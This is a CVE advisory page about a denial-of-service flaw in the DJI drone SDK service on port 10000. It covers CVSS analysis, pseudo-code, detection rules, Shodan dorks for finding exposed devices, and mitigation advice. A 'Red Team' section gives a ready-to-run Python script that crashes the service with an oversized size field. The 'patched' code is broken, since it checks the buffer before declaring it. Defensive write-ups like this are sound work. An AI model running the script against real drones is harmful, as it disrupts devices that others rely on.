☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Dji logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 3 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L 🐛 CWE-20
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-51452

CVE-2023-51452 Denial of Service in Dji
📅 PUBLISHED: 2024-04-02 10:28 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.6× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1499
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: USA License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 3.0
AV: A Attack Vector Adjacent
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: L Availability Low
3.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-51452 is a denial-of-service (DoS) vulnerability affecting the v2_sdk_service on multiple DJI drone models. The flaw resides in the pull_file_v2_proc function within the libv2_sdk.so library, which is used by the dji_vtwo_sdk binary. An attacker on the same network can send a crafted payload to port 10000, triggering an improper input validation that causes a crash of the service. This results in a temporary loss of availability for the drone’s SDK functionality, but does not allow code execution or data exfiltration. The CVSS score is 3.0 (Low), reflecting the limited impact and requirement for network adjacency.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It affects embedded firmware on DJI drones, which are distributed as binary firmware images. No open-source package or dependency chain is involved.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
  • Base Score: 3.0 (Low)
  • Attack Vector (AV): Adjacent Network – attacker must be on the same Wi-Fi or local network as the drone.
  • Attack Complexity (AC): Low – no special conditions required.
  • Privileges Required (PR): None – no authentication needed.
  • User Interaction (UI): None – no user action required.
  • Scope (S): Unchanged – only the vulnerable component is affected.
  • Confidentiality (C): None – no data exposure.
  • Integrity (I): None – no data modification.
  • Availability (A): Low – service crash, but can be restarted.

Threat Level: Low. The attack requires network adjacency and only causes a denial of service. No remote code execution or data theft is possible.

Deep Dive & Mechanics

The vulnerability is an improper input validation (CWE-20) in the pull_file_v2_proc function of the libv2_sdk.so library. This function is part of the v2_sdk_service that listens on TCP port 10000. The service is used for file transfer operations between the drone and a ground control station.

The pull_file_v2_proc function expects a specific packet structure with a size field. Due to a missing size check, an attacker can send a packet with a size value that is larger than the actual buffer, causing a buffer over-read or invalid memory access. This leads to a segmentation fault or assertion failure, crashing the dji_vtwo_sdk process.

The crash is temporary; the service can be restarted by the drone’s firmware watchdog or manually. However, repeated attacks can keep the service unavailable, affecting legitimate SDK operations.

Affected Models and Firmware Versions:

  • Mavic 3 Pro: < v01.01.0300
  • Mavic 3: < v01.00.1200
  • Mavic 3 Classic: < v01.00.0500
  • Mavic 3 Enterprise: < v07.01.10.03
  • Matrice 300: < v57.00.01.00
  • Matrice M30: < v07.01.0022
  • Mini 3 Pro: < v01.00.0620

Vulnerable vs. Patched Code

No official patch has been released by DJI for all models. The following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (pseudo-assembly for ARM):

// In libv2_sdk.so, pull_file_v2_proc
void pull_file_v2_proc(struct packet *pkt) {
    uint32_t size = pkt->header.size;  // No validation
    char buffer[1024];
    memcpy(buffer, pkt->data, size);   // Potential overflow
    // ... process file pull
}

Patched Code (hypothetical):

void pull_file_v2_proc(struct packet *pkt) {
    uint32_t size = pkt->header.size;
    if (size > sizeof(buffer)) {
        // Reject oversized packet
        send_error(pkt->source, "Invalid size");
        return;
    }
    char buffer[1024];
    memcpy(buffer, pkt->data, size);
    // ... process file pull
}

The fix adds a bounds check before the memcpy operation.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A DJI drone with vulnerable firmware (e.g., Mavic 3 Pro v01.00.0300).
  • Network access to the drone’s IP on port 10000 (e.g., same Wi-Fi network).

Exploit Script (Python):

#!/usr/bin/env python3
import socket
import struct

target_ip = "192.168.1.100"  # Drone IP
target_port = 10000

# Craft a malicious packet with oversized size field
# Packet structure: [size (4 bytes)] [data (size bytes)]
# We set size to a large value (e.g., 0xFFFFFFFF) to cause crash
payload_size = 0xFFFFFFFF
payload_data = b"A" * 64  # Minimal data to trigger the crash

packet = struct.pack("<I", payload_size) + payload_data

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
try:
    sock.connect((target_ip, target_port))
    sock.send(packet)
    print("[+] Packet sent. Service should crash.")
except Exception as e:
    print(f"[-] Error: {e}")
finally:
    sock.close()

Usage:

  1. Identify the drone’s IP address (e.g., via ARP scan).
  2. Run the script: python3 exploit.py
  3. The v2_sdk_service will crash, causing a denial of service.

Blue Team

Detection:

  • Monitor for anomalous packets on port 10000 with unusually large size fields.
  • Use network intrusion detection systems (NIDS) to flag packets where the size field exceeds a threshold (e.g., > 4096 bytes).

Mitigation:

  • Isolate drone networks from untrusted devices.
  • Apply firmware updates when available.
  • Use a firewall to restrict access to port 10000 to only authorized ground stations.

Indicators of Compromise (IOCs)

  • Network:
    • TCP packets to port 10000 with a size field > 4096 bytes.
    • Repeated connection attempts to port 10000 from unknown IPs.
  • System:
    • Crash logs for dji_vtwo_sdk or v2_sdk_service.
    • Service restart events in system logs.
  • File:
    • No file-based IOCs; the attack is purely network-based.

Detection Engineering

YARA Rule

rule CVE_2023_51452_DJI_DoS {
    meta:
        description = "Detects malicious packets targeting DJI v2_sdk_service on port 10000"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-51452"
    strings:
        $size_check = { 00 00 00 00 }  // Placeholder for size field pattern
    condition:
        // This rule is for file analysis; network packets are better handled by Suricata
        false
}

Sigma Rule

title: DJI v2_sdk_service DoS Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects oversized packets sent to DJI drone port 10000
author: Valters IT
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port: 10000
        packet_size: > 4096
    condition: selection
falsepositives:
    - Legitimate large file transfers (unlikely)
level: medium

Suricata Rule

alert tcp any any -> any 10000 (msg:"CVE-2023-51452 DJI v2_sdk_service DoS Attempt"; flow:to_server; content:"|ff ff ff ff|"; offset:0; depth:4; classtype:attempted-dos; sid:1000001; rev:1;)

Note: The Suricata rule matches packets where the first 4 bytes (size field) are 0xFFFFFFFF. Adjust the content match based on actual exploit payloads.

Remediation & Mitigation

Immediate Actions:

  1. Network Segmentation: Place drones on a separate VLAN with strict access controls.
  2. Firewall Rules: Block inbound traffic to port 10000 from untrusted IPs.
  3. Monitor Logs: Enable logging for dji_vtwo_sdk crashes and investigate anomalies.

Long-Term Fix:

  • Apply firmware updates from DJI when available. Check the DJI support page for each model.
  • If no patch is available, consider disabling the v2_sdk_service if not required (consult DJI documentation).

Workaround:

  • Use a VPN or encrypted tunnel for ground station communication to reduce attack surface.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

port:10000 dji
dji_vtwo_sdk
v2_sdk_service

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-51452/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.